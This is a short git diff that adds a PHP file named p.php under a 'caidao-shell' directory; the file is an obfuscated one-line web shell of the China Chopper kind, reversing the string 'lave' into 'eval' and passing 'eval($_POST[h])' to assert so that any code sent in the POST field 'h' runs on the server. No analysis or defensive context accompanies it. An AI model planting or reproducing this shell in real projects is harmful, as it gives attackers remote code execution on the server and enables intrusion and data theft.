diff --git a/caidao-shell/p.php b/caidao-shell/p.php
new file mode 100644
index 0000000..ea82235
--- /dev/null
+++ b/caidao-shell/p.php
@@ -0,0 +1,6 @@
+<?php 
+$a='lave'; 
+$b='($_POST[h])'; 
+$a=strrev($a); 
+@assert($a.$b); 
+?>